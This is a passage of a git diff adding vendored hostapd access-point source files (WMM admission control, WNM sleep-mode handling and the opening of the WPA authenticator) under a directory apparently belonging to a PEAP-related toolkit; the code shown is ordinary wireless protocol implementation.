*/ + pps = ((le_to_host32(tspec->mean_data_rate) / 8) + val - 1) / val; + wpa_printf(MSG_DEBUG, "WMM: Packets-per-second estimate for TSPEC: %d", + pps); + + if (le_to_host32(tspec->minimum_phy_rate) < 1000000) { + wpa_printf(MSG_DEBUG, "WMM: Too small Minimum PHY Rate"); + return WMM_ADDTS_STATUS_INVALID_PARAMETERS; + } + + duration = (le_to_host16(tspec->nominal_msdu_size) & 0x7fff) * 8 / + (le_to_host32(tspec->minimum_phy_rate) / 1000000) + + 50 /* FIX: proper SIFS + ACK duration */; + + /* unsigned binary number with an implicit binary point after the + * leftmost 3 bits, i.e., 0x2000 = 1.0 */ + surplus = le_to_host16(tspec->surplus_bandwidth_allowance); + if (surplus <= 0x2000) { + wpa_printf(MSG_DEBUG, "WMM: Surplus Bandwidth Allowance not " + "greater than unity"); + return WMM_ADDTS_STATUS_INVALID_PARAMETERS; + } + + medium_time = surplus * pps * duration / 0x2000; + wpa_printf(MSG_DEBUG, "WMM: Estimated medium time: %u", medium_time); + + /* + * TODO: store list of granted (and still active) TSPECs and check + * whether there is available medium time for this request. For now, + * just refuse requests that would by themselves take very large + * portion of the available bandwidth. + */ + if (medium_time > 750000) { + wpa_printf(MSG_DEBUG, "WMM: Refuse TSPEC request for over " + "75%% of available bandwidth"); + return WMM_ADDTS_STATUS_REFUSED; + } + + /* Convert to 32 microseconds per second unit */ + tspec->medium_time = host_to_le16(medium_time / 32); + + return WMM_ADDTS_STATUS_ADMISSION_ACCEPTED; +} + + +static void wmm_addts_req(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, + struct wmm_tspec_element *tspec, size_t len) +{ + const u8 *end = ((const u8 *) mgmt) + len; + int res; + + if ((const u8 *) (tspec + 1) > end) { + wpa_printf(MSG_DEBUG, "WMM: TSPEC overflow in ADDTS Request"); + return; + } + + wpa_printf(MSG_DEBUG, "WMM: ADDTS Request (Dialog Token %d) for TSPEC " + "from " MACSTR, + mgmt->u.action.u.wmm_action.dialog_token, + MAC2STR(mgmt->sa)); + + res = wmm_process_tspec(tspec); + wpa_printf(MSG_DEBUG, "WMM: ADDTS processing result: %d", res); + + wmm_send_action(hapd, mgmt->sa, tspec, WMM_ACTION_CODE_ADDTS_RESP, + mgmt->u.action.u.wmm_action.dialog_token, res); +} + + +void hostapd_wmm_action(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len) +{ + int action_code; + int left = len - IEEE80211_HDRLEN - 4; + const u8 *pos = ((const u8 *) mgmt) + IEEE80211_HDRLEN + 4; + struct ieee802_11_elems elems; + struct sta_info *sta = ap_get_sta(hapd, mgmt->sa); + + /* check that the request comes from a valid station */ + if (!sta || + (sta->flags & (WLAN_STA_ASSOC | WLAN_STA_WMM)) != + (WLAN_STA_ASSOC | WLAN_STA_WMM)) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "wmm action received is not from associated wmm" + " station"); + /* TODO: respond with action frame refused status code */ + return; + } + + /* extract the tspec info element */ + if (ieee802_11_parse_elems(pos, left, &elems, 1) == ParseFailed) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "hostapd_wmm_action - could not parse wmm " + "action"); + /* TODO: respond with action frame invalid parameters status + * code */ + return; + } + + if (!elems.wmm_tspec || + elems.wmm_tspec_len != (sizeof(struct wmm_tspec_element) - 2)) { + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "hostapd_wmm_action - missing or wrong length " + "tspec"); + /* TODO: respond with action frame invalid parameters status + * code */ + return; + } + + /* TODO: check the request is for an AC with ACM set, if not, refuse + * request */ + + action_code = mgmt->u.action.u.wmm_action.action_code; + switch (action_code) { + case WMM_ACTION_CODE_ADDTS_REQ: + wmm_addts_req(hapd, mgmt, (struct wmm_tspec_element *) + (elems.wmm_tspec - 2), len); + return; +#if 0 + /* TODO: needed for client implementation */ + case WMM_ACTION_CODE_ADDTS_RESP: + wmm_setup_request(hapd, mgmt, len); + return; + /* TODO: handle station teardown requests */ + case WMM_ACTION_CODE_DELTS: + wmm_teardown(hapd, mgmt, len); + return; +#endif + } + + hostapd_logger(hapd, mgmt->sa, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "hostapd_wmm_action - unknown action code %d", + action_code); +} diff --git a/peapwn/mods/hostap/src/ap/wmm.h b/peapwn/mods/hostap/src/ap/wmm.h new file mode 100644 index 000000000..96b04e890 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wmm.h @@ -0,0 +1,29 @@ +/* + * hostapd / WMM (Wi-Fi Multimedia) + * Copyright 2002-2003, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#ifndef WME_H +#define WME_H + +struct ieee80211_mgmt; +struct wmm_tspec_element; + +u8 * hostapd_eid_wmm(struct hostapd_data *hapd, u8 *eid); +int hostapd_eid_wmm_valid(struct hostapd_data *hapd, const u8 *eid, + size_t len); +void hostapd_wmm_action(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len); +int wmm_process_tspec(struct wmm_tspec_element *tspec); + +#endif /* WME_H */ diff --git a/peapwn/mods/hostap/src/ap/wnm_ap.c b/peapwn/mods/hostap/src/ap/wnm_ap.c new file mode 100644 index 000000000..54a6b857d --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wnm_ap.c @@ -0,0 +1,271 @@ +/* + * hostapd - WNM + * Copyright (c) 2011-2012, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "ap/hostapd.h" +#include "ap/sta_info.h" +#include "ap/ap_config.h" +#include "ap/ap_drv_ops.h" +#include "ap/wpa_auth.h" +#include "wnm_ap.h" + +#define MAX_TFS_IE_LEN 1024 + + +/* get the TFS IE from driver */ +static int ieee80211_11_get_tfs_ie(struct hostapd_data *hapd, const u8 *addr, + u8 *buf, u16 *buf_len, enum wnm_oper oper) +{ + wpa_printf(MSG_DEBUG, "%s: TFS get operation %d", __func__, oper); + + return hostapd_drv_wnm_oper(hapd, oper, addr, buf, buf_len); +} + + +/* set the TFS IE to driver */ +static int ieee80211_11_set_tfs_ie(struct hostapd_data *hapd, const u8 *addr, + u8 *buf, u16 *buf_len, enum wnm_oper oper) +{ + wpa_printf(MSG_DEBUG, "%s: TFS set operation %d", __func__, oper); + + return hostapd_drv_wnm_oper(hapd, oper, addr, buf, buf_len); +} + + +/* MLME-SLEEPMODE.response */ +static int ieee802_11_send_wnmsleep_resp(struct hostapd_data *hapd, + const u8 *addr, u8 dialog_token, + u8 action_type, u16 intval) +{ + struct ieee80211_mgmt *mgmt; + int res; + size_t len; + size_t gtk_elem_len = 0; + size_t igtk_elem_len = 0; + struct wnm_sleep_element wnmsleep_ie; + u8 *wnmtfs_ie; + u8 wnmsleep_ie_len; + u16 wnmtfs_ie_len; + u8 *pos; + struct sta_info *sta; + enum wnm_oper tfs_oper = action_type == WNM_SLEEP_MODE_ENTER ? + WNM_SLEEP_TFS_RESP_IE_ADD : WNM_SLEEP_TFS_RESP_IE_NONE; + + sta = ap_get_sta(hapd, addr); + if (sta == NULL) { + wpa_printf(MSG_DEBUG, "%s: station not found", __func__); + return -EINVAL; + } + + /* WNM-Sleep Mode IE */ + os_memset(&wnmsleep_ie, 0, sizeof(struct wnm_sleep_element)); + wnmsleep_ie_len = sizeof(struct wnm_sleep_element); + wnmsleep_ie.eid = WLAN_EID_WNMSLEEP; + wnmsleep_ie.len = wnmsleep_ie_len - 2; + wnmsleep_ie.action_type = action_type; + wnmsleep_ie.status = WNM_STATUS_SLEEP_ACCEPT; + wnmsleep_ie.intval = intval; + + /* TFS IE(s) */ + wnmtfs_ie = os_zalloc(MAX_TFS_IE_LEN); + if (wnmtfs_ie == NULL) + return -1; + if (ieee80211_11_get_tfs_ie(hapd, addr, wnmtfs_ie, &wnmtfs_ie_len, + tfs_oper)) { + wnmtfs_ie_len = 0; + os_free(wnmtfs_ie); + wnmtfs_ie = NULL; + } + +#define MAX_GTK_SUBELEM_LEN 45 +#define MAX_IGTK_SUBELEM_LEN 26 + mgmt = os_zalloc(sizeof(*mgmt) + wnmsleep_ie_len + + MAX_GTK_SUBELEM_LEN + MAX_IGTK_SUBELEM_LEN); + if (mgmt == NULL) { + wpa_printf(MSG_DEBUG, "MLME: Failed to allocate buffer for " + "WNM-Sleep Response action frame"); + return -1; + } + os_memcpy(mgmt->da, addr, ETH_ALEN); + os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); + mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_ACTION); + mgmt->u.action.category = WLAN_ACTION_WNM; + mgmt->u.action.u.wnm_sleep_resp.action = WNM_SLEEP_MODE_RESP; + mgmt->u.action.u.wnm_sleep_resp.dialogtoken = dialog_token; + pos = (u8 *)mgmt->u.action.u.wnm_sleep_resp.variable; + /* add key data if MFP is enabled */ + if (!wpa_auth_uses_mfp(sta->wpa_sm) || + action_type != WNM_SLEEP_MODE_EXIT) { + mgmt->u.action.u.wnm_sleep_resp.keydata_len = 0; + } else { + gtk_elem_len = wpa_wnmsleep_gtk_subelem(sta->wpa_sm, pos); + pos += gtk_elem_len; + wpa_printf(MSG_DEBUG, "Pass 4, gtk_len = %d", + (int) gtk_elem_len); +#ifdef CONFIG_IEEE80211W + res = wpa_wnmsleep_igtk_subelem(sta->wpa_sm, pos); + if (res < 0) { + os_free(wnmtfs_ie); + os_free(mgmt); + return -1; + } + igtk_elem_len = res; + pos += igtk_elem_len; + wpa_printf(MSG_DEBUG, "Pass 4 igtk_len = %d", + (int) igtk_elem_len); +#endif /* CONFIG_IEEE80211W */ + + WPA_PUT_LE16((u8 *) + &mgmt->u.action.u.wnm_sleep_resp.keydata_len, + gtk_elem_len + igtk_elem_len); + } + os_memcpy(pos, &wnmsleep_ie, wnmsleep_ie_len); + /* copy TFS IE here */ + pos += wnmsleep_ie_len; + if (wnmtfs_ie) + os_memcpy(pos, wnmtfs_ie, wnmtfs_ie_len); + + len = 1 + sizeof(mgmt->u.action.u.wnm_sleep_resp) + gtk_elem_len + + igtk_elem_len + wnmsleep_ie_len + wnmtfs_ie_len; + + /* In driver, response frame should be forced to sent when STA is in + * PS mode */ + res = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, + mgmt->da, &mgmt->u.action.category, len); + + if (!res) { + wpa_printf(MSG_DEBUG, "Successfully send WNM-Sleep Response " + "frame"); + + /* when entering wnmsleep + * 1. pause the node in driver + * 2. mark the node so that AP won't update GTK/IGTK during + * WNM Sleep + */ + if (wnmsleep_ie.status == WNM_STATUS_SLEEP_ACCEPT && + wnmsleep_ie.action_type == WNM_SLEEP_MODE_ENTER) { + hostapd_drv_wnm_oper(hapd, WNM_SLEEP_ENTER_CONFIRM, + addr, NULL, NULL); + wpa_set_wnmsleep(sta->wpa_sm, 1); + } + /* when exiting wnmsleep + * 1. unmark the node + * 2. start GTK/IGTK update if MFP is not used + * 3. unpause the node in driver + */ + if ((wnmsleep_ie.status == WNM_STATUS_SLEEP_ACCEPT || + wnmsleep_ie.status == + WNM_STATUS_SLEEP_EXIT_ACCEPT_GTK_UPDATE) && + wnmsleep_ie.action_type == WNM_SLEEP_MODE_EXIT) { + wpa_set_wnmsleep(sta->wpa_sm, 0); + hostapd_drv_wnm_oper(hapd, WNM_SLEEP_EXIT_CONFIRM, + addr, NULL, NULL); + if (!wpa_auth_uses_mfp(sta->wpa_sm)) + wpa_wnmsleep_rekey_gtk(sta->wpa_sm); + } + } else + wpa_printf(MSG_DEBUG, "Fail to send WNM-Sleep Response frame"); + +#undef MAX_GTK_SUBELEM_LEN +#undef MAX_IGTK_SUBELEM_LEN + os_free(wnmtfs_ie); + os_free(mgmt); + return res; +} + + +static void ieee802_11_rx_wnmsleep_req(struct hostapd_data *hapd, + const u8 *addr, const u8 *frm, int len) +{ + /* Dialog Token [1] | WNM-Sleep Mode IE | TFS Response IE */ + const u8 *pos = frm; + u8 dialog_token; + struct wnm_sleep_element *wnmsleep_ie = NULL; + /* multiple TFS Req IE (assuming consecutive) */ + u8 *tfsreq_ie_start = NULL; + u8 *tfsreq_ie_end = NULL; + u16 tfsreq_ie_len = 0; + + dialog_token = *pos++; + while (pos + 1 < frm + len) { + u8 ie_len = pos[1]; + if (pos + 2 + ie_len > frm + len) + break; + if (*pos == WLAN_EID_WNMSLEEP) + wnmsleep_ie = (struct wnm_sleep_element *) pos; + else if (*pos == WLAN_EID_TFS_REQ) { + if (!tfsreq_ie_start) + tfsreq_ie_start = (u8 *) pos; + tfsreq_ie_end = (u8 *) pos; + } else + wpa_printf(MSG_DEBUG, "WNM: EID %d not recognized", + *pos); + pos += ie_len + 2; + } + + if (!wnmsleep_ie) { + wpa_printf(MSG_DEBUG, "No WNM-Sleep IE found"); + return; + } + + if (wnmsleep_ie->action_type == WNM_SLEEP_MODE_ENTER && + tfsreq_ie_start && tfsreq_ie_end && + tfsreq_ie_end - tfsreq_ie_start >= 0) { + tfsreq_ie_len = (tfsreq_ie_end + tfsreq_ie_end[1] + 2) - + tfsreq_ie_start; + wpa_printf(MSG_DEBUG, "TFS Req IE(s) found"); + /* pass the TFS Req IE(s) to driver for processing */ + if (ieee80211_11_set_tfs_ie(hapd, addr, tfsreq_ie_start, + &tfsreq_ie_len, + WNM_SLEEP_TFS_REQ_IE_SET)) + wpa_printf(MSG_DEBUG, "Fail to set TFS Req IE"); + } + + ieee802_11_send_wnmsleep_resp(hapd, addr, dialog_token, + wnmsleep_ie->action_type, + wnmsleep_ie->intval); + + if (wnmsleep_ie->action_type == WNM_SLEEP_MODE_EXIT) { + /* clear the tfs after sending the resp frame */ + ieee80211_11_set_tfs_ie(hapd, addr, tfsreq_ie_start, + &tfsreq_ie_len, WNM_SLEEP_TFS_IE_DEL); + } +} + + +int ieee802_11_rx_wnm_action_ap(struct hostapd_data *hapd, + struct rx_action *action) +{ + if (action->len < 1 || action->data == NULL) + return -1; + + switch (action->data[0]) { + case WNM_BSS_TRANS_MGMT_QUERY: + wpa_printf(MSG_DEBUG, "WNM: BSS Transition Management Query"); + /* TODO */ + return -1; + case WNM_BSS_TRANS_MGMT_RESP: + wpa_printf(MSG_DEBUG, "WNM: BSS Transition Management " + "Response"); + /* TODO */ + return -1; + case WNM_SLEEP_MODE_REQ: + ieee802_11_rx_wnmsleep_req(hapd, action->sa, action->data + 1, + action->len - 1); + return 0; + } + + wpa_printf(MSG_DEBUG, "WNM: Unsupported WNM Action %u from " MACSTR, + action->data[0], MAC2STR(action->sa)); + return -1; +} diff --git a/peapwn/mods/hostap/src/ap/wnm_ap.h b/peapwn/mods/hostap/src/ap/wnm_ap.h new file mode 100644 index 000000000..f05726ee7 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wnm_ap.h @@ -0,0 +1,17 @@ +/* + * IEEE 802.11v WNM related functions and structures + * Copyright (c) 2011-2012, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WNM_AP_H +#define WNM_AP_H + +struct rx_action; + +int ieee802_11_rx_wnm_action_ap(struct hostapd_data *hapd, + struct rx_action *action); + +#endif /* WNM_AP_H */ diff --git a/peapwn/mods/hostap/src/ap/wpa_auth.c b/peapwn/mods/hostap/src/ap/wpa_auth.c new file mode 100644 index 000000000..03b15c24a --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth.c @@ -0,0 +1,3061 @@ +/* + * IEEE 802.11 RSN / WPA Authenticator + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "utils/state_machine.h" +#include "common/ieee802_11_defs.h" +#include "crypto/aes_wrap.h" +#include "crypto/crypto.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/random.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "ap_config.h" +#include "ieee802_11.h" +#include "wpa_auth.h" +#include "pmksa_cache_auth.h" +#include "wpa_auth_i.h" +#include "wpa_auth_ie.h" + +#define STATE_MACHINE_DATA struct wpa_state_machine +#define STATE_MACHINE_DEBUG_PREFIX "WPA" +#define STATE_MACHINE_ADDR sm->addr + + +static void wpa_send_eapol_timeout(void *eloop_ctx, void *timeout_ctx); +static int wpa_sm_step(struct wpa_state_machine *sm); +static int wpa_verify_key_mic(struct wpa_ptk *PTK, u8 *data, size_t data_len); +static void wpa_sm_call_step(void *eloop_ctx, void *timeout_ctx); +static void wpa_group_sm_step(struct wpa_authenticator *wpa_auth, + struct wpa_group *group); +static void wpa_request_new_ptk(struct wpa_state_machine *sm); +static int wpa_gtk_update(struct wpa_authenticator *wpa_auth, + struct wpa_group *group); +static int wpa_group_config_group_keys(struct wpa_authenticator *wpa_auth, + struct wpa_group *group); + +static const u32 dot11RSNAConfigGroupUpdateCount = 4; +static const u32 dot11RSNAConfigPairwiseUpdateCount = 4; +static const u32 eapol_key_timeout_first = 100; /* ms */ +static const u32 eapol_key_timeout_subseq = 1000; /* ms */ +static const u32 eapol_key_timeout_first_group = 500; /* ms */ + +/* TODO: make these configurable */ +static const int dot11RSNAConfigPMKLifetime = 43200; +static const int dot11RSNAConfigPMKReauthThreshold = 70; +static const int dot11RSNAConfigSATimeout = 60; + + +static inline int wpa_auth_mic_failure_report( + struct wpa_authenticator *wpa_auth, const u8 *addr) +{ + if (wpa_auth->cb.mic_failure_report) + return wpa_auth->cb.mic_failure_report(wpa_auth->cb.ctx, addr); + return 0; +} + + +static inline void wpa_auth_set_eapol(struct wpa_authenticator *wpa_auth, + const u8 *addr, wpa_eapol_variable var, + int value) +{ + if (wpa_auth->cb.set_eapol) + wpa_auth->cb.set_eapol(wpa_auth->cb.ctx, addr, var, value); +} + + +static inline int wpa_auth_get_eapol(struct wpa_authenticator *wpa_auth, + const u8 *addr, wpa_eapol_variable var) +{ + if (wpa_auth->cb.get_eapol == NULL) + return -1; + return wpa_auth->cb.get_eapol(wpa_auth->cb.ctx, addr, var); +} + + +static inline const u8 * wpa_auth_get_psk(struct wpa_authenticator *wpa_auth, + const u8 *addr, + const u8 *p2p_dev_addr, + const u8 *prev_psk) +{ + if (wpa_auth->cb.get_psk == NULL) + return NULL; + return wpa_auth->cb.get_psk(wpa_auth->cb.ctx, addr, p2p_dev_addr, + prev_psk); +} + + +static inline int wpa_auth_get_msk(struct wpa_authenticator *wpa_auth, + const u8 *addr, u8 *msk, size_t *len) +{ + if (wpa_auth->cb.get_msk == NULL) + return -1; + return wpa_auth->cb.get_msk(wpa_auth->cb.ctx, addr, msk, len); +} + + +static inline int wpa_auth_set_key(struct wpa_authenticator *wpa_auth, + int vlan_id, + enum wpa_alg alg, const u8 *addr, int idx, + u8 *key, size_t key_len) +{ + if (wpa_auth->cb.set_key == NULL) + return -1; + return wpa_auth->cb.set_key(wpa_auth->cb.ctx, vlan_id, alg, addr, idx, + key, key_len); +} + + +static inline int wpa_auth_get_seqnum(struct wpa_authenticator *wpa_auth, + const u8 *addr, int idx, u8 *seq) +{ + if (wpa_auth->cb.get_seqnum == NULL) + return -1; + return wpa_auth->cb.get_seqnum(wpa_auth->cb.ctx, addr, idx, seq); +} + + +static inline int +wpa_auth_send_eapol(struct wpa_authenticator *wpa_auth, const u8 *addr, + const u8 *data, size_t data_len, int encrypt) +{ + if (wpa_auth->cb.send_eapol == NULL) + return -1; + return wpa_auth->cb.send_eapol(wpa_auth->cb.ctx, addr, data, data_len, + encrypt); +} + + +int wpa_auth_for_each_sta(struct wpa_authenticator *wpa_auth, + int (*cb)(struct wpa_state_machine *sm, void *ctx), + void *cb_ctx) +{ + if (wpa_auth->cb.for_each_sta == NULL) + return 0; + return wpa_auth->cb.for_each_sta(wpa_auth->cb.ctx, cb, cb_ctx); +} + + +int wpa_auth_for_each_auth(struct wpa_authenticator *wpa_auth, + int (*cb)(struct wpa_authenticator *a, void *ctx), + void *cb_ctx) +{ + if (wpa_auth->cb.for_each_auth == NULL) + return 0; + return wpa_auth->cb.for_each_auth(wpa_auth->cb.ctx, cb, cb_ctx); +} + + +void wpa_auth_logger(struct wpa_authenticator *wpa_auth, const u8 *addr, + logger_level level, const char *txt) +{ + if (wpa_auth->cb.logger == NULL) + return; + wpa_auth->cb.logger(wpa_auth->cb.ctx, addr, level, txt); +} + + +void wpa_auth_vlogger(struct wpa_authenticator *wpa_auth, const u8 *addr, + logger_level level, const char *fmt, ...) +{ + char *format; + int maxlen; + va_list ap; + + if (wpa_auth->cb.logger == NULL) + return; + + maxlen = os_strlen(fmt) + 100; + format = os_malloc(maxlen); + if (!format) + return; + + va_start(ap, fmt); + vsnprintf(format, maxlen, fmt, ap); + va_end(ap); + + wpa_auth_logger(wpa_auth, addr, level, format); + + os_free(format); +} + + +static void wpa_sta_disconnect(struct wpa_authenticator *wpa_auth, + const u8 *addr) +{ + if (wpa_auth->cb.disconnect == NULL) + return; + wpa_printf(MSG_DEBUG, "wpa_sta_disconnect STA " MACSTR, MAC2STR(addr)); + wpa_auth->cb.disconnect(wpa_auth->cb.ctx, addr, + WLAN_REASON_PREV_AUTH_NOT_VALID); +} + + +static int wpa_use_aes_cmac(struct wpa_state_machine *sm) +{ + int ret = 0; +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) + ret = 1; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + if (wpa_key_mgmt_sha256(sm->wpa_key_mgmt)) + ret = 1; +#endif /* CONFIG_IEEE80211W */ + return ret; +} + + +static void wpa_rekey_gmk(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_authenticator *wpa_auth = eloop_ctx; + + if (random_get_bytes(wpa_auth->group->GMK, WPA_GMK_LEN)) { + wpa_printf(MSG_ERROR, "Failed to get random data for WPA " + "initialization."); + } else { + wpa_auth_logger(wpa_auth, NULL, LOGGER_DEBUG, "GMK rekeyd"); + wpa_hexdump_key(MSG_DEBUG, "GMK", + wpa_auth->group->GMK, WPA_GMK_LEN); + } + + if (wpa_auth->conf.wpa_gmk_rekey) { + eloop_register_timeout(wpa_auth->conf.wpa_gmk_rekey, 0, + wpa_rekey_gmk, wpa_auth, NULL); + } +} + + +static void wpa_rekey_gtk(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_authenticator *wpa_auth = eloop_ctx; + struct wpa_group *group; + + wpa_auth_logger(wpa_auth, NULL, LOGGER_DEBUG, "rekeying GTK"); + for (group = wpa_auth->group; group; group = group->next) { + group->GTKReKey = TRUE; + do { + group->changed = FALSE; + wpa_group_sm_step(wpa_auth, group); + } while (group->changed); + } + + if (wpa_auth->conf.wpa_group_rekey) { + eloop_register_timeout(wpa_auth->conf.wpa_group_rekey, + 0, wpa_rekey_gtk, wpa_auth, NULL); + } +} + + +static void wpa_rekey_ptk(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_authenticator *wpa_auth = eloop_ctx; + struct wpa_state_machine *sm = timeout_ctx; + + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "rekeying PTK"); + wpa_request_new_ptk(sm); + wpa_sm_step(sm); +} + + +static int wpa_auth_pmksa_clear_cb(struct wpa_state_machine *sm, void *ctx) +{ + if (sm->pmksa == ctx) + sm->pmksa = NULL; + return 0; +} + + +static void wpa_auth_pmksa_free_cb(struct rsn_pmksa_cache_entry *entry, + void *ctx) +{ + struct wpa_authenticator *wpa_auth = ctx; + wpa_auth_for_each_sta(wpa_auth, wpa_auth_pmksa_clear_cb, entry); +} + + +static int wpa_group_init_gmk_and_counter(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + u8 buf[ETH_ALEN + 8 + sizeof(unsigned long)]; + u8 rkey[32]; + unsigned long ptr; + + if (random_get_bytes(group->GMK, WPA_GMK_LEN) < 0) + return -1; + wpa_hexdump_key(MSG_DEBUG, "GMK", group->GMK, WPA_GMK_LEN); + + /* + * Counter = PRF-256(Random number, "Init Counter", + * Local MAC Address || Time) + */ + os_memcpy(buf, wpa_auth->addr, ETH_ALEN); + wpa_get_ntp_timestamp(buf + ETH_ALEN); + ptr = (unsigned long) group; + os_memcpy(buf + ETH_ALEN + 8, &ptr, sizeof(ptr)); + if (random_get_bytes(rkey, sizeof(rkey)) < 0) + return -1; + + if (sha1_prf(rkey, sizeof(rkey), "Init Counter", buf, sizeof(buf), + group->Counter, WPA_NONCE_LEN) < 0) + return -1; + wpa_hexdump_key(MSG_DEBUG, "Key Counter", + group->Counter, WPA_NONCE_LEN); + + return 0; +} + + +static struct wpa_group * wpa_group_init(struct wpa_authenticator *wpa_auth, + int vlan_id, int delay_init) +{ + struct wpa_group *group; + + group = os_zalloc(sizeof(struct wpa_group)); + if (group == NULL) + return NULL; + + group->GTKAuthenticator = TRUE; + group->vlan_id = vlan_id; + group->GTK_len = wpa_cipher_key_len(wpa_auth->conf.wpa_group); + + if (random_pool_ready() != 1) { + wpa_printf(MSG_INFO, "WPA: Not enough entropy in random pool " + "for secure operations - update keys later when " + "the first station connects"); + } + + /* + * Set initial GMK/Counter value here. The actual values that will be + * used in negotiations will be set once the first station tries to + * connect. This allows more time for collecting additional randomness + * on embedded devices. + */ + if (wpa_group_init_gmk_and_counter(wpa_auth, group) < 0) { + wpa_printf(MSG_ERROR, "Failed to get random data for WPA " + "initialization."); + os_free(group); + return NULL; + } + + group->GInit = TRUE; + if (delay_init) { + wpa_printf(MSG_DEBUG, "WPA: Delay group state machine start " + "until Beacon frames have been configured"); + /* Initialization is completed in wpa_init_keys(). */ + } else { + wpa_group_sm_step(wpa_auth, group); + group->GInit = FALSE; + wpa_group_sm_step(wpa_auth, group); + } + + return group; +} + + +/** + * wpa_init - Initialize WPA authenticator + * @addr: Authenticator address + * @conf: Configuration for WPA authenticator + * @cb: Callback functions for WPA authenticator + * Returns: Pointer to WPA authenticator data or %NULL on failure + */ +struct wpa_authenticator * wpa_init(const u8 *addr, + struct wpa_auth_config *conf, + struct wpa_auth_callbacks *cb) +{ + struct wpa_authenticator *wpa_auth; + + wpa_auth = os_zalloc(sizeof(struct wpa_authenticator)); + if (wpa_auth == NULL) + return NULL; + os_memcpy(wpa_auth->addr, addr, ETH_ALEN); + os_memcpy(&wpa_auth->conf, conf, sizeof(*conf)); + os_memcpy(&wpa_auth->cb, cb, sizeof(*cb)); + + if (wpa_auth_gen_wpa_ie(wpa_auth)) { + wpa_printf(MSG_ERROR, "Could not generate WPA IE."); + os_free(wpa_auth); + return NULL; + } + + wpa_auth->group = wpa_group_init(wpa_auth, 0, 1); + if (wpa_auth->group == NULL) { + os_free(wpa_auth->wpa_ie); + os_free(wpa_auth); + return NULL; + } + + wpa_auth->pmksa = pmksa_cache_auth_init(wpa_auth_pmksa_free_cb, + wpa_auth); + if (wpa_auth->pmksa == NULL) { + wpa_printf(MSG_ERROR, "PMKSA cache initialization failed."); + os_free(wpa_auth->wpa_ie); + os_free(wpa_auth); + return NULL; + } + +#ifdef CONFIG_IEEE80211R + wpa_auth->ft_pmk_cache = wpa_ft_pmk_cache_init(); + if (wpa_auth->ft_pmk_cache == NULL) { + wpa_printf(MSG_ERROR, "FT PMK cache initialization failed."); + os_free(wpa_auth->wpa_ie); + pmksa_cache_auth_deinit(wpa_auth->pmksa); + os_free(wpa_auth); + return NULL; + } +#endif /* CONFIG_IEEE80211R */ + + if (wpa_auth->conf.wpa_gmk_rekey) { + eloop_register_timeout(wpa_auth->conf.wpa_gmk_rekey, 0, + wpa_rekey_gmk, wpa_auth, NULL); + } + + if (wpa_auth->conf.wpa_group_rekey) { + eloop_register_timeout(wpa_auth->conf.wpa_group_rekey, 0, + wpa_rekey_gtk, wpa_auth, NULL); + } + + return wpa_auth; +} + + +int wpa_init_keys(struct wpa_authenticator *wpa_auth) +{ + struct wpa_group *group = wpa_auth->group; + + wpa_printf(MSG_DEBUG, "WPA: Start group state machine to set initial " + "keys"); + wpa_group_sm_step(wpa_auth, group); + group->GInit = FALSE; + wpa_group_sm_step(wpa_auth, group); + return 0; +} + + +/** + * wpa_deinit - Deinitialize WPA authenticator + * @wpa_auth: Pointer to WPA authenticator data from wpa_init() + */ +void wpa_deinit(struct wpa_authenticator *wpa_auth) +{ + struct wpa_group *group, *prev; + + eloop_cancel_timeout(wpa_rekey_gmk, wpa_auth, NULL); + eloop_cancel_timeout(wpa_rekey_gtk, wpa_auth, NULL); + +#ifdef CONFIG_PEERKEY + while (wpa_auth->stsl_negotiations) + wpa_stsl_remove(wpa_auth, wpa_auth->stsl_negotiations); +#endif /* CONFIG_PEERKEY */ + + pmksa_cache_auth_deinit(wpa_auth->pmksa); + +#ifdef CONFIG_IEEE80211R + wpa_ft_pmk_cache_deinit(wpa_auth->ft_pmk_cache); + wpa_auth->ft_pmk_cache = NULL; +#endif /* CONFIG_IEEE80211R */ + + os_free(wpa_auth->wpa_ie); + + group = wpa_auth->group; + while (group) { + prev = group; + group = group->next; + os_free(prev); + } + + os_free(wpa_auth); +} + + +/** + * wpa_reconfig - Update WPA authenticator configuration + * @wpa_auth: Pointer to WPA authenticator data from wpa_init() + * @conf: Configuration for WPA authenticator + */ 